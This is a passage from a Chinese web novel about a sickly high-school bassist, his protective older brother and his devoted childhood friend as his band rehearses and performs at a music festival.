纪羽一本正经地坐直了,把被面捋平整,手指在被子上戳一下:“咳…首先,你和我长得不像,身高也差很多。” 纪律看着眼前俏生生的脸蛋,长在纪羽身上分外和谐,大眼睛巴掌脸,骨骼线条柔和,此时虽然憔悴却也显得可怜。 虽然纪律很难想象纪羽是怎么凭借比他晚出生十年的立场,来将他和自己长得并没有那么相似,作为“纪律可能不是亲生的”依据,但看在纪羽还在病中的缘故和傻得可怜的脸上,纪律并没有打断他继续说下去,起身默默将水杯添满了。 看着纪律起身添水缓和心绪,纪羽体贴地等了一会儿才开始说第二点。 “还有就是,爸妈都没上完高中,也不喜欢看书,但是你成绩就很好。” 更准确来说,是名列前茅,纪羽想想都觉得不可思议,怎么能有人从小到大都是拔尖的那一批呢。 能做到这份上,努力和天赋缺一不可,而有些人就算再努力,也达不到一些人的起点,可见天赋是多么重要的东西。 可天赋又不是凭空就有的,得先有基因承载才对,由此纪羽接着说:“如果爸妈能把你生得那么聪明,为什么不能把我也生成这样呢。” 纪律按住纪羽在被面上画圈的手指:“所以,你就凭这两点,认为我是被捡来的?” 纪羽抽手,没抽动,心里有点恼火,直直地看向纪律道:“不止啊,你还很讨厌,家里最讨厌。” 不止是性格上的差异,体格上,纪羽也远远不如纪律,明明纪律受了重伤,只是几天就行动自如。 很小的时候,纪羽极为单纯地相信,自己长大后就会变成纪律的模样,个子很高,能听懂爸爸妈妈说的所有复杂的话题,上学时总能拿到数不清的奖状。 那时候,纪律一只手就可以把他抱起来,他还抱不动邻居家养的布偶猫。 每当他把这件事告诉贺思钧的时候,贺思钧就会说长大就好了,他也在等那一天,不过贺思钧没长大的时候就能把他抱起来了。 纪羽记得,每当乔青燕说贺思钧又长高了,贺泰安就会露出很生疏的笑,看着贺思钧的眼神也让他看不懂。 大概是长大真的很了不起。 纪羽很期待长大的一天,可以不像纪律,像徐梁也好,他们都很高大,无所不能。 后来纪羽羡慕更多人,羡慕柳承宽厚的性格,羡慕展舒文想做就做的决心,也羡慕曲坚在大庭广众下能把贝斯弹得如痴如醉,摇头晃脑的疯癫样,不在乎异样眼光的态度。 纪羽不能十全十美,不过他有在试图靠近他向往的模样。 只是过程未免太漫长,纪羽又不能像某些成功人士一样,回首过去把任何好的坏的因素都写为利他的推动剂,接受生活翻天覆地之后,回忆是最轻松的事了。 等到他也七老八十,他会回过头来感谢纪律吗,很大方地赦免他的罪行? 以后的事谁也不知道,至少现在还不行,纪律的道歉在纪羽这的保质期只有三天,一点小事就足够让纪羽重新升起不快。 “你干嘛不说话。” 在沉默的几秒里,纪律反应过来这只是纪羽戏耍他的小手段,既不高明,也不痛快,只是无聊又烦闷地想刺他一次,但纪羽实在很笨,把自己也折了进去。 纪律问:“你在家里最讨厌我,那在学校里最讨厌谁?” “当然是贺……”话到嘴边,纪羽眼前却闪过另一张脸,觉得实在可恶至极,认为自己住院有一半是气急攻心。 “是隔壁班的一个人。” “为什么?” 哪有那么多为什么,纪羽憋了半天才咳嗽着说:“因为他才让我好丢脸。” 第48章 可具体因为什么丢脸, 纪羽又不肯说了。 吃过晚饭后,纪泽兰和徐梁陪他说了一会儿话,见纪羽没什么精神就说下楼散散步, 让纪羽睡一会儿。 纪律也暂时离开,病房内仅存叫人好睡的静谧。 嗓子的肿痛好了许多, 吊瓶也拔了,纪羽闭上眼,平躺着, 睡眠灯在眼皮上打下通红的影。 说不上疲乏到闭眼就能入睡, 却也没多余的精力做些别的事。 今天的周考刚好就这么错过了,也不知道算好事还是坏事。 曲坚怎么现在都没个信儿, 不会只是唬他的吧。 想着想着, 病房门锁咔哒一声响,纪羽睁眼望去, 贺思钧推门走了进来, 紧随其后的是护士。 “小羽,你可以让护士把我移出黑名单吗?”贺思钧侧身示意。 护士开口解释道:“是这样的, 上次我看小纪先生你带了人一起过来, 所以就让他上来了,但黑名单上的名字还没去呢, 你看需不需要我叫人把这位先生带走?” 纪羽自己都快忘了这一茬,见贺思钧看他的眼神黑亮亮的, 虽然面上没什么表情, 但露出的小臂肌肉都绷紧了。 “我想想……”纪羽佯装思考, 过了好一会儿才在贺思钧越发紧张的姿态中说道,“暂时把他的名字划掉吧。” 护士答应一声,又听纪羽没有别的需求, 带上门出去了。 “你站那儿干嘛,过来呀。” 纪羽向贺思钧招招手。 贺思钧这才走到病床边:“烧退了吗?” 纪羽把扎着留置针的手抬起来晃晃:“当然啊,我都没吊水了。你坐下来,总是站着干什么,我又没欺负你。” 贺思钧坐下了,把书包放下,不太乐意开口似的:“这些天的卷子我都带来了。” 纪羽同意他探望的唯一要求,就是把他落下的作业都带来。 贺思钧拖了两天,想着纪羽病情转好,才赶了过来。 现在一看,纪羽好像更可怜了,脸越发的小,人快掉进衣服里找不到,想要伸手环住他摸摸他的脊背,又没理由。 “发什么愣,把包打开呀,今天的数学周考卷你带了没,我现在做了老师能给我批了算进排名里吗?”纪羽说着又自己否决了,“算了,感觉对其他人不公平。” 床上桌略有些重,纪羽跪坐起身探手去拉,贺思钧被他撑床的动作吓了一跳,生怕针在纪羽戳穿纪羽手背探出来。他轻轻一带就把桌子从床尾抬起固定住,把整整齐齐叠好的试卷从包里拿出放到桌上。 “就这么点吗?你是不是少带了。”纪羽粗略一翻,大概也就六七张,“还有物理练习册呢,就那本厚的,鲁班没布置吗?” “另外发的几张比较简单,我就没带,明天我可以把做好的拿来你看一看。”贺思钧把床头的枕头立起来,把灯打开,又把被子四周都掖了掖。 “什么地区的?” “英华的和振江的。” “哦,那不用看了。” 纪羽摊手:“笔,我要先做周考卷,你给我计时。” 贺思钧知道纪羽看不上他那几只办公用笔,找到纪羽的书包,翻出笔袋:“自动笔还是直液式的?” 纪羽盯着卷子,脑袋也不转一下:“要我新买的那支圆珠笔。” 贺思钧把笔递给他,等着纪羽说可以开始计时了摁下倒计时。 笔尖滑过纸面几乎没有声音,纪羽呼吸声比平时更重一些。 写到一半纪泽兰和徐梁回来了,两人在病房里坐了一会儿,徐梁总忍不住走过来看看纪羽,纪羽不耐烦把他赶出去了。 写大题时纪律又来了,纪泽兰很有先见之明地把人推了出去。 到底是病还没好,纪羽斗志昂扬地做了半张卷子脑袋里的神经就拧在了一块儿,怎么想都是在原地打转。 贺思钧起身倒了杯水,极为体贴地说道:“剩下的可以明天再做。” 纪羽算得眼睛都红了,闻言用一只手绕过脑袋堵住两边的耳朵:“不要吵,我马上就做出来了。” 最终纪羽历时118分钟完成一张填写完整的数学试卷,喜提体温上升至38.4℃。 纪羽眼神迷离着还在对贺思钧说:“明天你也得来啊,我还要听英语听力。” 这一晚,纪羽睡得很好。 第二天,阳光明媚。 纪羽捧着被批改过的试卷,满眼怀疑地看着纪律:“你确定吗,你批错了吧?” 纪律合上红笔盖:“不会错。” “你都毕业多久了,万一记错了公式把我这道题改错了呢?而且你不是文科生吗?” 真够犟的。纪律抬手压住眉心:“你自己拿手机去搜,看看到底是我错了还是你错了。” 提到这,纪羽就来劲了:“周考卷都是我们学校老师自己出卷的哦,网上的答案都不对,手机搜题可不准了。” “你去看一看相似的题型,再跟我说这些有的没的。”纪律以十足的耐心压着心里的冷言冷语。 纪羽倒也不是自信过了头,纯粹是不想简单地相信纪律,免得他又拿讨人厌的精英做派来指导他这呀那呀的。 再说了,质疑纪律就是很有意思,很爽呀。 见纪律不再上他的钩子接话,纪羽这才从一旁掏出贺思钧订正过的答题卡一一对照起来。 “……”纪律憋了一口气,上不去下不来的,最后只得冷笑一声。 纪羽倒是发现了利用时间顺便折磨纪律的新法子,一整天都在问纪律问题和质疑纪律并提出新问题时度过。 中午和晚上贺思钧都会来一趟,把学校的进程同步,纪羽挑着自己的薄弱点重点安排时间,把纪律当成了免费家教用。 又过了两天,纪律提前出院,纪羽有些肺部感染,还得再待两天。 这两天是这段时间以来,纪羽最想念纪律的时候。 出院当天,曲坚终于带来了一个好消息,下周末,临市有一场音乐节,可以临时把承风塞进去。 在这之前,承风最好能多抽出些时间排练排练。 纪羽把自己的贝斯取了回来,依旧是那把贝斯,只是重新涂装,调整了一些细节。 拆开包装时,纪律也在家里。 “你喜欢乐器?”纪律问。 纪羽抚摸着珍珠白的漆面,趴下身看琴身反射灯光的色泽,状似无意地随口应道:“嗯。” 纪羽等了一会儿也没等到纪律说话,再抬头时纪律已经离开了。 当晚,纪羽就在纪律书房前弹了几曲。 还连了智能家居的音响放了经典摇滚乐,声音轰隆隆,房顶上的鸟扑着翅膀飞走,纪泽兰和徐梁夫妻俩待在楼下不敢上来。 纪律忍无可忍打开门,关闭音响,纪羽扯开嘴角笑了一下,又拨了几下琴弦。 “什么时候学会的?” “三四年前吧。” 纪律回忆了一下,那时他刚回国不久,纪羽初中,自我意识急速增长期,已经很会呛声,每次一说他就跑去贺思钧家里待着或是搬出韩姨来和纪律作比较。纪律索性减少和他碰面的次数,早出晚归,和纪羽的交流很少。 “手不疼?” “嗯?”纪羽甩甩麻木的指尖,“还好吧,长茧子就不痛了。” 以前长过吗,纪羽弹琴很熟练,不像是隔了几年才弹的样子,纪律没什么印象了。 见纪律反应平平,捉弄起来没什么意思,纪羽收了贝斯就要走。 “等等。”纪律喊住他。 纪羽挑起眉毛转头,纪律走进房间,拿着钱包出来,从里边抽出卡。 “买把好点的吉他。”这吉他音都低成什么样了。 “?” 纪羽提起贝斯,睁大眼睛瞪着纪律:“你故意的吧!” 这到底哪像吉他了? 贝斯比吉他帅多了! 纪律故意气他的吧! 纪律不觉得自己哪句话说错,只想是纪羽日常花销剩下的零花钱也只够买普通的吉他,被他说了不高兴了。 “把卡拿着吧。” 纪羽怒冲冲地看了纪律一会儿,发现他表情也没动一下,意识到纪律可能是真没见识才收起奓毛。 “这是你自己给我的,不是我要的。”纪羽反背贝斯,上前拿卡,“密码呢?” “我们家门牌号加搬进来的日子。” “……那时候我才多大!” “120301。” “哦。”纪羽把卡揣进兜里,走出两步还是不解气,快步走回去在还没来得及关门的纪律脚面上狠狠踩了一脚,“没见识、土老帽。” 周末,土老帽伤口痊愈,开车将他送去排练。 将车停在一间偏僻的仓库前,纪律将车门锁上了。 “你再说一次,这是干什么的?” 纪羽抱臂,不解地看着他:“乐队排练啊,我之前都在地下室的,这是经纪人新找的,不是很好吗?” “经纪人?你哪来的经纪人,签合同了?” “签了啊,我成年了就可以签合同了呀。” 纪律的手指无意识地敲击方向盘,压着燥意看着纪羽无辜单纯的脸蛋:“你加入这个乐队多久了,经纪人是哪家公司的,他们都和你情况一样?” 很正常的关心,纪羽倒不配合起来了,在副驾上扭动着:“这些事回去问不行吗,我都要迟到了。” “纪羽!”纪律加重语气。 纪羽被喊得愣了一下,反应过来后当即吼了回去:“干嘛!” 早知道就不答应纪律送他来了,和贺思钧一起过来多省事啊。 “你好好说清楚,不说清楚今天你就不用下车了。” “纪律!你又发神经!” “我发神经?”纪律环顾四周,连人影都瞧不见,仓库卷帘上喷绘着夸张的涂鸦,树枝光秃路灯破旧,连个像样的监控都没有,谁能放心把人送到这地方?! 纪羽却还像个撒泼打滚的熊孩子,爬到他身上要越过主驾驶去按解锁:“我要下去!” “坐好!你先和我说清楚,从头到尾。” “说个p——老麦!” 车窗边出现了一个男人,深秋里还穿着露胳膊的短袖,满臂的纹身,一脸横相,正曲指叩响车窗—— 作者有话说:小鸡战斗中 第49章 纪律面色冷凝。 纪羽的面色也不大好看:“你这什么表情, 开门啊。” 车门是不可能开的,纪律勉强降下了一点后座车窗。 车窗玻璃做了防窥,从车外根本看不清车内的情况。老麦扶着车顶俯身, 这才从后车窗缝中看到副驾座上的纪羽。 准确来说,是半个身子倒向主驾和人搏斗在一块的纪羽。 显而易见地, 纪羽正被掣肘着,看到他时眼里闪动着希冀的光芒。 尚不清楚局势,看着纪羽不像是受威胁, 老麦只道:“阿雀, 怎么不下车?” “阿雀?”纪律打量纪羽,“在叫你?他是谁?” 纪羽自觉在纪律的语气里听出了嘲笑, 紧闭着嘴不回他, 拉长上身仍在够解锁键。纪律手下才加了两分力气按住他手臂,就听纪羽大声喊疼, 下意识收了劲, 纪羽像条游鱼似的按下解锁从他身前钻出,拉开了车门。 “……”还真是只麻雀, 气性大又狡猾。 纪律本想跟着下车, 手搭在车门上没有动作,就听纪羽蹿下车便指挥起花臂男:“把我后座的琴盒拿一下。” 虽然不懂纪羽又出了什么幺蛾子, 但人来了就行,老麦拉开车门, 把纪羽的琴盒背上。 “就差你了, 走吧。” 纪羽也不打算在原地多待, 很快跟上老麦。 “辽光也到了?他以前都不会早到的。这里隔音好吗,比之前的排练室大还是小?” 老麦走在前头,步子迈得很大:“大一点, 隔音一般,不过附近也没什么人。” 纪羽:“那也不错。” 老麦带着他走到仓库的侧门,侧门边开了道正方形的小窗,刚好能望见来人。 纪羽回头,发现纪律还没将车开走,却把车窗都降下了,纪律正望着这边。 猝不及防对上了眼,纪羽连忙转头背过身。 自从纪律受伤过后,纪羽就感觉他变了,虽然本性难移,但至少不再动不动就拿身份压着他。 如果是以前,在还没吵起来前,纪律只怕会一把方向盘掉头就走,才不会只锁车。 保不齐纪律又跟上来,纪羽进了门把保险栓也拴上了。 仓库里人也都到齐了。 贺思钧不算,还多了个人。 曲坚修剪了胡子,头发梳起,显得利落不少。 他拍了拍手,等人都各自打过招呼,把注意力都集中到了他身上:“好了,虽然之前都私下有过交流了,但今天才算是咱们第一次见面吧,也不知道这份工作能干多久,不过还是希望我们合作愉快。不愉快也没事,反正工资我照拿。” 纪羽提声:“说重点。” 曲坚想了一堆有的没的幽默开场白,还打算再说几句,但老板发话,也不得不从。 “总之,下周就是咱们这个三流乐队险些解散后第一次正儿八经参加音乐节,机会很宝贵,如果反响不好以后我都没脸加塞了。希望你们不管是老的年轻的有工作的没工作的都上点心好好准备,别丢自己的脸。” “三流乐队……”辽光被他气得牙痒痒,“你真会说话。” 曲坚:“那换个说法:十八线。” 辽光摘了吉他要去打他,贝旬拦住他,问道:“音乐节有报酬吗?” 这是个好问题,在辽光期待的眼神中曲坚淡然开口:“那当然——没有了。” 辽光几乎要破音:“没钱??” 曲坚找了把破椅子坐下,小指伸进耳朵里挖:“那不然呢,临时塞进去人家要就不错了。” 老麦问道:“车费和住宿费自费?” “这你们就放心吧,我都安排好了。”曲坚吹走指甲上不存在的碎屑。 纪羽站远两步:“我不放心,说下你的安排吧。” “怎么能这么对你师父呢。”曲坚背着手垂头,颇有落寞之感,纪羽才想是不是自己过分了,就听曲坚掏出手机发起群收款。 “来回大巴票我都给你们订好了,快A了,都快月底了我要还信用卡。” 纪羽面无表情地在手机上点点点。 贝旬:“群收款结束了?” 曲坚三十啷当,笑起来一脸褶子:“哎呀,我想了想,既然是我和承风第一次一起参加音乐节,这车旅费还是我包了吧!” “可是我已经付了啊!”辽光大叫。 曲坚立刻收了笑脸:“这个群收款好像退不了呢……” 辽光追在曲坚身后大叫。 “咚——” 老麦敲响军鼓:“时间不多,我们开始吧。” 纪羽低头抚弦,抬眼时刚好与老麦对视:“好啊,我准备好了。” 贝旬也道:“我OK。” 鼓锤扬起,光穿透天窗直射而入,微尘飞扬。 辽光冲刺回来背上吉他:“先还我钱啊!!!” 大半天一眨眼就过去,听到敲门声时天色昏暗,仓库内吊着的灯鹅黄黯淡。 门打开,是纪律,他扫过仓库内五人,最终停留在纪羽脸上:“该回家了。” 纪羽甩甩胳膊,手也僵硬酸疼,也就没刺声:“知道了,我收拾东西。” 辽光不像老麦没什么好奇心,当即蹿到纪羽身边:“这哪位啊?” “我哥。”纪羽好多年没和人这么介绍过纪律,说出来还有点怪怪的。 “这么一说是有点像,这是特意来接你的啊,小雀小宝宝?” “……嗓子都干巴了,你就不能少说点话吗?” 察觉到纪羽真有点不好意思,辽光笑得更放肆了。 好在纪羽也收好了贝斯,背着琴盒就跑,临走时还不望叮嘱:“明天记得让人过来换灯泡!” 砰地关上门,纪羽把辽光嘲笑他怕黑的尖锐笑声隔绝。 纪律就在门边,把他的琴盒摘下提走了。 “这些人就是你的乐队成员?” 纪羽踢走一颗石头,漫不经心地道:“对啊,你不都偷听大半天了吗?” 纪律锲而不舍地纠正纪羽的错误用词:“我是在尽监护你的责任。” “我都成年了!” “你高中还没毕业。”纪律总有理由。 纪羽拉开车门爬上副驾,瘫倒在皮革中:“反正你有的是借口管我。” 纪律把他的琴盒在后座固定好,坐上主驾,偏头看他:“既然你不想让我管,又为什么把这件事告诉我?” 纪羽明显和那些形形色色的社会人士熟稔、亲近。 车内空调自动调节至最适宜的温度,没有香味也没有其他味道,纪羽困了,回答也简略:“我想说就说,不想说就不说。” 大概纪羽只是随口一说,别无深意,只是纪律不能不想,不能简单放置一边。 许久后,老麦走出仓库,才看到两抹幽红尾灯驶出夜色深深- 纪羽吃过饭后,给曲坚打去电话。 上来就是一句:“你把钱退给辽光没有?” 曲坚:“还了还了,我还会贪他这一百多块钱吗,真是,也不太不信你师父了。” 纪羽看着群里下一秒弹出的红包,也没戳穿他:“你没说漏嘴,告诉别人你的工资是我发的吧?” “少爷,这还用说吗?”曲坚笑了一声,“我感觉明眼人都看得出来。” “哦……”纪羽摸摸鼻子,在床上躺下来,把手机放在床上开了外放,“你老板到底什么时候能回来,这都多少天了。” “现在阿雀少爷不是我老板吗,一人不事二主啊。” 纪羽翻个白眼:“琴行老板。” “快了,我告诉他我顶多再替班到月底,他说到时候见面聊。我还真有点舍不得,这两周还给我算加班工资呢,打两份工也不是不行吧。” 月底。 纪羽径直忽略他后半句话:“具体什么时间?” 曲坚答:“这还早着,哪说得准。我说少爷,老奴办事你就放心吧,咱们主仆之间最忌讳离心啊。” “你疯了吗?”纪羽诚心问。 曲坚轻咳一声:“怎么和师父说话的?” 纪羽听他身边有人声说话,还有淅淅沥沥的水声。 “你在哪啊,不会在厕所吧?” “哪儿能啊。”曲坚怅惘一叹,“我们少爷连澡堂声儿都听不出来,哪天师父带你来涨涨见识,轻松一下。” 电话那段沉默一会儿,纪羽问道:“你没穿衣服和我打电话……?” 曲坚理所当然:“谁在澡堂穿衣服?不过我还没进去呢,刚脱了衣服,再晚点你这电话我都接不……” “嘟——嘟——” 纪羽挂断了电话。 下一秒,贺思钧的电话拨了进来。 “喂。” “干什么。”纪羽翻了个身,后脑勺对着手机话筒。 “今天顺利吗?”贺思钧问。 纪羽揉着小臂哼哼:“那当然了,纪律都被折服了,来的路上一直问问问,回去一句话都不讲了。他就会以貌取人。” 到底大家都是有点水平的人,那点生疏进入练习状态后很快就被磨干净,一切都很顺利,没有什么不好的。 不过唯一有点不习惯的事,纪羽每次结束一曲时总习惯看向角落。 以前随手就能拿到的水杯也不知道为什么总是滚到各种边边角角,座位上还有灰需要自己擦。 他自己单人的练习视频都忘记录了,回来打开相册才发现的。 这都是很小的事,没什么大不了。 “下次还是让我跟你一起去,可以吗?” 不过贺思钧问了,纪羽也觉得承风通往一线乐队的路上确实也缺个打杂……助理。 “这要问其他人啊,我不能随便带人进排练室的。”纪羽说。 贺思钧说:“好,我还没有被踢出群,可以在群里说话吗?” “贺思钧,”纪羽突然笑了一声,“你好像小狗啊,我说指令你才能动。” “纪羽,没有我那么大的狗。” “……我哪里真说你是狗了,狗比你可爱多了,你就会往自己脸上贴金。” 贺思钧又不应声了。 纪羽笑够了,才坐起身说道:“给你三个月试用期吧,不听我的话,就把你从承风群里踢出去。” 贺思钧立马应声:“好。” “不对。”纪羽又不满。 “哪里不对?” 纪羽俯身小声道:“你不能只说好,你要说,谢谢主人。” 听筒震动,黏黏糊糊的语调打过几个转,延迟了数秒才穿过神经进入大脑被处理。 贺思钧愣了一会儿才在纪羽的催促下低声重复:“谢谢主人。”—— 作者有话说:奖励了好多人 第50章 又一个周日, 早上五点,纪羽枕头上滚了两圈,一把掀开被子, 一溜烟跑进了衣帽间。 没几秒又从衣帽间跑出来。 “先刷牙洗脸。” 从洗手间回到衣帽间时纪羽的眼睛才算是彻底睁开了,头发也一并梳了上去, 露出光洁的额头。 穿衣、戴饰品、整理着装,在镜子前照了又照、确认无误后纪羽提上琴盒下楼。 纪泽兰和徐梁也起了,早餐端上了桌, 纪律在喝一杯茶叶致死量的浓茶。 纪羽吃了早餐, 吃过药,坐上车, 降下车窗向纪泽兰和徐梁挥手。 “注意安全, 玩得开心。”纪泽兰对他说。 “知道了妈妈。” 等纪羽关了车窗坐稳,纪律把车开出小区。 “衣服是主办方要求的?” 纪羽有点热, 把袖口解开, 把袖子撩到胳膊肘:“不是啊,这是我自己的。” 纪律侧目看他一眼, 又马上别过头去:“上次给你买的衣服呢, 怎么不穿。” “那又和其他人不搭,不适合上台表演的。” 纪律问:“你现在穿的适合?” 纪羽警觉, 咬着牙:“纪律,你又什么意思, 我穿得不好吗?” 纪律专心开车:“还可以。” “呵。”纪羽冷笑一声, 别过头去看车窗外倒退的风景, “别用你的审美来评价我的穿搭。” 这周是双周,今天一中不放假,沿路纪羽还看见几人穿着一中校服踩自行车, 面如土色。 到了大巴集散点,纪羽就把口罩戴上了,背上琴盒冷酷无情地下了车,随手挥了挥就算对纪律说拜拜。 纪律降下车窗提高声量:“手机别关静音!” 纪羽头也不回,大踏步走进候车室。 贺思钧就在门口等着,一见面就自动伸手去摘纪羽背上的琴盒。 纪羽闪身躲开,低声道:“这是我的搭配,你先别动。” 承风一行人都到了,辽光正在座位上吸溜泡面,见着纪羽走来,一张嘴面条又秃噜出去掉回面汤。 “你要干啥啊,走秀啊?” 纪羽不动声色地远离他两步,低头看自己:“有很夸张?” 他今天是穿了展舒文送的衣服,还头一回没戴帽子抓了头发,但也没多折腾什么。难道是用力过猛了? 他向贺思钧确认:“?” 贺思钧扫辽光一眼:“好看。” 辽光:“你这还不夸张,我还以为哪个明星机场走秀呢。” 贝旬淡淡道:“他觉得自己没你帅。昨天半夜还在群里问穿什么衣服比较契合他的气质。” 辽光瞟一下纪羽,又掏出手机照一照自己:“啧!老子十几岁的时候也是意气风发,穿什么都好看。” 又吵嚷了一会儿,就到了发车时间。 几个人上了车,就自动消音,老麦坐下就立刻闭目养神。 贺思钧自动跟随到纪羽身旁落座,从随身包里掏出眼罩和颈枕:“睡吗?” 纪羽头一回坐这种大巴,正兴奋着,果断地拒绝了,等大巴启动慢慢摇晃起来,他才把注意力收回来。 “你请假没事吗,干爸居然同意你不上课。” 贺思钧拧开保温杯:“没和他说。” 纪羽喝了口水,是薄荷味儿的,从口腔到食道一路都凉丝丝的,他皱紧了脸,长着痣的脸颊鼓起来:“你怎么带这个水,好辣。” “喝这个对身体好。” 纪羽嫌弃地把杯子还给他:“你自己好吧。” 很快,纪羽就知道薄荷水为什么好。大巴在高速上行驶的第二个钟头,薄荷水喝干了,精神已到了彻底萎靡的边缘,纪羽躺在贺思钧的腿上,胃里翻江倒海。 “我明明……不晕车……”纪羽气若游丝,勉强睁开眼随即大脑又是一阵晕眩,忙闭上眼锁紧嘴巴。 绝对不能吐在车上,太恶心了。 “小羽,把嘴巴张开。” 嘴边抵着一块硬邦邦的东西,纪羽转开头表示拒绝,贺思钧的手又追上来,碰到了他的嘴角。 “吃了舒服一点。”贺思钧低声道。 纪羽不情不愿地张开嘴巴,把块硬糖含了下去,陈皮的酸甜在嘴里化开,暂时缓解了灼烧、翻涌的反胃感。 他从贺思钧腿上爬起来,又靠到椅背上,因为呼吸不畅,一上车他就把口罩摘下了,此时脸色白得吓人,贺思钧搭在他肩上的手还没松,让他倒在自己肩上借力坐稳。 “还有多久。” 贺思钧说:“还有一个小时。” 纪羽撑开一只眼睛瞪他:“你就不能跟我说快了吗?” “一个小时不算快,我骗你快到了你可能会更难受。” 纪羽又闭上眼:“……烦死了,回来我要和曲坚换,我要坐货车。” 至少还能看到前挡风玻璃。 大巴里的车窗开不了,纪羽只能扒在玻璃上,看着车窗外的景色不断提醒自己的大脑:我在运动我在运动。 贺思钧极轻地碰了碰他的脸,像蜻蜓点水般一触即分:“回来不坐大巴了,我买了高铁票。” “老麦他们的呢。” “放心,我都买了,除了曲坚的。” 纪羽撇嘴:“就让他坐车慢慢晃吧,真会出馊主意。” 他人没力气,说话是软的,人也是,贺思钧的心也受了影响,变得极为软绵,陷下去就很难恢复原状。 “嗯,他活该。” 终于在漫长的三个多小时车程后,纪羽的双腿落到了实打实的地面上,整个人异常地恍惚,一言不发地跟在人身后。 辽光也不敢闹他了:“你没事吧,坐个车怎么跟跑了几公里似的。” 纪羽挺直腰背,才想说没事,抬头一见太阳,眼前一晕,就跑到一边垃圾桶吐了。 贺思钧让其他人先走,他带着纪羽在原地休息一会儿,才打车到了目的地。 曲坚提前到达,给他们指了休息室,叫了老麦去看下搬来的乐器,不知道又去哪儿忙了。 好在音乐节下午才开场,早上的时间都用来排练,承风排在后面,纪羽还能缓一缓。 坐了没十几分钟,贝旬接了个电话出去,没多久拎了一筐橘子回来。 “哪儿来的?”辽光伸手拣了两颗递给纪羽。 贝旬像看傻子似的看他:“捡的。” “知道是你买的!我这不是礼貌地问候一句吗!” 半晌不见贝旬应他,辽光顺着贝旬目光看去,就见纪羽把玩着一颗橘子,另一颗到了贺思钧手里,正被剥开,掰成方便入口的几瓣,然后又回到纪羽手里。 纪羽还抬头对贝旬笑了笑:“很好吃啊。” 贝旬嗯了一声,辽光挑高了眉毛。 上台走过一轮,吃过了主办方发的盒饭,就离正式演出越来越近了。 辽光抱着吉他有一搭没一搭地拨:“还能再排一次吗,这也太赶了,感觉才吼了一嗓子就下来了。” 曲坚坐在地上靠着墙都快睡着了,抬起眼皮看他一眼:“那你也挺厉害,吼一嗓子走调三次。” 辽光立刻转移火力:“那我是嗓子还没打开,你怎么不说阿雀,他还错音了呢。” 纪羽睁大眼睛:“你瞎说,明明就是你弹错了,还走到我前面来显摆。” “怎么可能,我是主唱我会错吗!” “你吉他弹错了和你是主唱有什么关系!” “我是吉他手唱歌走调又和我有什么关系!” 居然还不能选中他,纪羽要跳起来掐辽光脖子了:“你怎么这么不要脸?!” 辽光脸都不红一下:“我这叫分解矛盾,大事化小小事化了,不要斤斤计较。” 斤斤计较的曲坚闭上眼抱臂,仿佛这场纷争的起源和他无关。 也不是真的要打起来,贺思钧也懂事地没有插嘴,站在一旁看着纪羽使劲浑身力气掰折了辽光的拨片。 “哈哈!上当了,那片是我不要的,我买了新的!”辽光站在原地大笑。 其幼稚程度令人发指,老麦借出自己的备用鼓槌,让纪羽拿着打他一顿。 主唱嘛,吉他手嘛,嘴巴能唱手能动就行了,腿折了问题也不大。 辽光窜到贝旬那边,贝旬低头还在做确认,纪羽跑过来,早起固定住的发丝已经落了几缕在额前。几个小时前的萎靡在他面上瞧不见了,两颊不知道是热的还是因为激动发红,像荔枝肉沾了脂红。 纪羽视线落到他身上又移开。 “辽光,你能不能别那么幼稚,你出来,我又不会对你怎么样,你承认自己失误了不就得了吗。” 辽光幽幽地:“那你也同意取消失误最多的人请客吃饭这个霸王条款。” 纪羽:“这怎么就霸王条款了,这明明就是对你的约束,又不是我一个人定的,你怎么不问同不同意取消。” 辽光大肆叫着你们也知道这是对我的约束,贝旬懒得去听,犹疑片刻还是开口问道:“今天你要露脸吗?” 晴空万里,暖阳从没搭紧的棚顶洒进休息室,纪羽揉了把被照得热烘烘的脸:“不啊,我还要戴口罩的,就是帽子不戴了。不然像之前那样都分不出我和其他人的区别了。” 闻言,贝旬稍稍一顿:“不会……” 还想再说什么,纪羽已经抓着了辽光,扯着他到一边去,威胁他对污蔑自己错音的事道歉。 “绝不——啊!阿雀你个没人情的,你还踩我!” “快说对不起!” …… 日头偏西,欢呼声和歌声在草地上飘远,承风站上台面。 场下认识他们的人寥寥,却还是有人抬手向他们挥舞。 纪羽依旧背过身调弦,没有遮挡的眼睛看着老麦:“别紧张。” 老麦稍挑高了眉:“我紧张?” 纪羽笑了一下:“你今天都不怎么说话。” 老麦没否认,他反拿鼓槌,做着落下第一声的准备。 “不过没关系,因为我也很紧张。” 老麦再抬眼时,纪羽已经转过身去。 鼓声并着贝斯的低声自音箱内震出—— 作者有话说:小鸡大展身手(扑腾扑腾) 50-60 第51章 嗡鸣从草地中央开始扩散, 青绿的草皮上人群攒着,由坐到站,再到离台前更近、更近。 闪动的虹光、从天侧漏下的斜阳, 落在年轻的面孔。 低声的哼、张大嘴不成调的干吼,在半空中与旋律撞在一起, 刺穿骨缝,钻进血管,胸膛也跟着轰鸣。 是大地颤动还是双脚变得轻盈。 那么多双眼, 望着台上。 贺思钧也只是其中一个。 他穿过层层人群看到高台上的纪羽, 偶尔纪羽会被举起的双手挡住半身,贺思钧看到只占据大屏一角的纪羽, 看到手机屏幕放大的模糊的纪羽。 很近, 又很远。 身形削薄的贝斯手偶尔会向台下投来一眼,由远到近地收回, 继而是更激昂的乐声回荡, 拨弦的手指落在琴身,映着流光。 人群蹦跳、肩膀擦着胳膊, 欢呼声渐渐拔高。 像贺思钧这样木讷的人在这里是格格不入的意外之客, 他不会唱更不会跟着乐声摇晃,他甚至不听音乐。 他来这里, 也只是为了一个人。 但好像也不止于此。 初次站在人群后看着纪羽还在三年前,纪羽拿一把二手贝斯, 有点羞臊地站在当时有名的音乐公园广场中央, 让他走远一点, 但最好又别太远,免得看不到。 纪羽太紧张了,开始时手指僵硬, 还按错了弦。如果不是他天天都听、看,他应该是不会发觉这点小错漏的。 他看到纪羽的脸一点点变红,神情却严肃起来,展开手指重新搭弦,这一次开头就很完美了。 纪羽抬头对他笑了一下,他好像也笑了。 没多久观众就不止他一个,三三两两的人聚起来,有的干脆在纪羽面前的空地上坐下了,原定练胆的几首曲子纪羽弹了一轮又一轮,到后来已经相当熟练。 那是个提前赶到的夏季,风里带着湿润的水汽,纪羽偷穿的衬衣过于宽大,罩在他身上被风刮起像一对收拢的蝶翼。 白色的。 翕动着。 几乎和他的心跳重合了频率。在那一瞬间,纪羽的脸庞、五官与身形变得模糊无比,却又在下一刻纤毫毕现地在眼前清晰。那么短暂的一瞬,却像令贺思钧隔世一般恍惚。 